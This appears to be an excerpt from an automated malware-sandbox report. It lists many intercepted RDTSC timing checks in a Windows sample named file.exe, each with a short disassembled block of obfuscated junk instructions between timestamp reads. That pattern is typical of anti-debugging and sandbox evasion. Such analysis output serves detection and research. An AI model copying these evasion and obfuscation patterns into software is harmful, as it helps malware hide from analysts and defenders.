Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9262BC second address: 9262E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F22FC56C6D0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9262E1 second address: 926306 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F22FCB3D175h 0x0000000b popad 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926447 second address: 92644C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92644C second address: 926474 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ecx, dword ptr [ebp+122D1CA2h] 0x00000010 jno 00007F22FCB3D16Bh 0x00000016 lea eax, dword ptr [ebp+1248BED8h] 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926474 second address: 926478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 926478 second address: 92648B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92648B second address: 9264C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b sub dword ptr [ebp+122D30BFh], ecx 0x00000011 lea eax, dword ptr [ebp+1248BE94h] 0x00000017 pushad 0x00000018 mov edi, 2406A69Fh 0x0000001d mov esi, 65893261h 0x00000022 popad 0x00000023 nop 0x00000024 push esi 0x00000025 ja 00007F22FC56C6C8h 0x0000002b push ecx 0x0000002c pop ecx 0x0000002d pop esi 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F22FC56C6CAh 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9264C6 second address: 90B688 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F22FCB3D168h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007F22FCB3D168h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 mov dx, si 0x0000002a call dword ptr [ebp+122D2892h] 0x00000030 pushad 0x00000031 jno 00007F22FCB3D195h 0x00000037 jmp 00007F22FCB3D16Eh 0x0000003c popad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 jnl 00007F22FCB3D166h 0x00000046 jmp 00007F22FCB3D177h 0x0000004b pop eax 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970AC4 second address: 970ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970ACA second address: 970AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F22FCB3D166h 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F22FCB3D16Eh 0x00000011 pop eax 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 push edi 0x00000017 pop edi 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970AEC second address: 970AF1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970D88 second address: 970D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F22FCB3D166h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970D93 second address: 970DB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jmp 00007F22FC56C6CEh 0x0000000a jmp 00007F22FC56C6CEh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970DB8 second address: 970DBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 970F44 second address: 970F4E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F22FC56C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 971289 second address: 97128F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 97143F second address: 971443 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977A63 second address: 977A7A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D173h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977A7A second address: 977A80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977A80 second address: 977A91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F22FCB3D16Bh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9772F6 second address: 9772FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 977728 second address: 97772E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9791C3 second address: 9791E5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F22FC56C6E4h 0x00000008 jmp 00007F22FC56C6D8h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9791E5 second address: 9791EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9791EF second address: 979206 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981EF7 second address: 981EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981EFB second address: 981F05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981F05 second address: 981F13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FCB3D16Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 981F13 second address: 981F19 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9820CD second address: 9820FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Fh 0x00000007 jmp 00007F22FCB3D170h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f jbe 00007F22FCB3D168h 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9820FC second address: 982104 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925DAD second address: 925DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925DB1 second address: 925DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D324Eh], esi 0x0000000f push 00000004h 0x00000011 mov ecx, dword ptr [ebp+122D3533h] 0x00000017 nop 0x00000018 jmp 00007F22FC56C6D4h 0x0000001d push eax 0x0000001e pushad 0x0000001f pushad 0x00000020 je 00007F22FC56C6C6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98223B second address: 982263 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F22FCB3D172h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F22FCB3D16Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982263 second address: 982267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982267 second address: 982271 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F22FCB3D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982402 second address: 982408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 982408 second address: 98240C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985998 second address: 98599E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98599E second address: 9859AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F22FCB3D166h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985C2D second address: 985C5C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007F22FC56C6C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f jo 00007F22FC56C6C6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F22FC56C6D5h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985C5C second address: 985C60 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985F5B second address: 985F78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985F78 second address: 985F82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 985F82 second address: 985F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9877AD second address: 9877B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9877B1 second address: 9877E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F22FC56C6D8h 0x0000000b jng 00007F22FC56C6D2h 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9877E5 second address: 9877E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98AB98 second address: 98ABA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F22FC56C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98ABA2 second address: 98ABA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98ABA6 second address: 98ABD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007F22FC56C6E1h 0x00000018 jmp 00007F22FC56C6D5h 0x0000001d je 00007F22FC56C6C6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98AFCF second address: 98AFEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D171h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98AFEC second address: 98AFF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98AFF2 second address: 98AFF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B18C second address: 98B190 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B190 second address: 98B194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B319 second address: 98B32F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F22FC56C6CEh 0x0000000e pushad 0x0000000f popad 0x00000010 jnc 00007F22FC56C6C6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98B4B9 second address: 98B4BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991522 second address: 991526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 991526 second address: 99152A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9917E0 second address: 9917F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CAh 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9917F4 second address: 99180B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jns 00007F22FCB3D166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e pop eax 0x0000000f js 00007F22FCB3D166h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99180B second address: 99181F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F22FC56C6CAh 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99181F second address: 991825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9923A3 second address: 9923AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jng 00007F22FC56C6C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9929A0 second address: 9929A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992FAD second address: 992FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F22FC56C6D0h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992FC2 second address: 992FDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F22FCB3D17Fh 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A356 second address: 99A35B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99A35B second address: 99A361 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E3F1 second address: 99E418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F22FC56C6D9h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E418 second address: 99E41C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E41C second address: 99E430 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E430 second address: 99E442 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F22FCB3D16Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99D6A7 second address: 99D6AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DABB second address: 99DAF0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F22FCB3D174h 0x0000000f jmp 00007F22FCB3D177h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DD79 second address: 99DD9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F22FC56C6D8h 0x0000000f jmp 00007F22FC56C6CCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DD9E second address: 99DDA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DF15 second address: 99DF2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007F22FC56C6C6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DF2E second address: 99DF53 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F22FCB3D179h 0x0000000f jmp 00007F22FCB3D16Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DF53 second address: 99DF61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 je 00007F22FC56C6DEh 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DF61 second address: 99DF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99DF6C second address: 99DF70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E128 second address: 99E154 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F22FCB3D173h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d pushad 0x0000000e ja 00007F22FCB3D166h 0x00000014 pushad 0x00000015 popad 0x00000016 push edx 0x00000017 pop edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b push ebx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99E154 second address: 99E15A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8E639E second address: 8E63A3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AAE42 second address: 9AAE57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FC56C6D1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9018 second address: 9A9026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F22FCB3D166h 0x0000000a popad 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9026 second address: 9A9037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FC56C6CCh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9037 second address: 9A903C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A903C second address: 9A9044 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9044 second address: 9A906C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jo 00007F22FCB3D188h 0x0000000d jmp 00007F22FCB3D178h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9909 second address: 9A990D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A990D second address: 9A9931 instructions: 0x00000000 rdtsc 0x00000002 js 00007F22FCB3D166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jmp 00007F22FCB3D177h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9931 second address: 9A9936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9936 second address: 9A995C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F22FCB3D171h 0x0000000a jp 00007F22FCB3D166h 0x00000010 push edi 0x00000011 pop edi 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
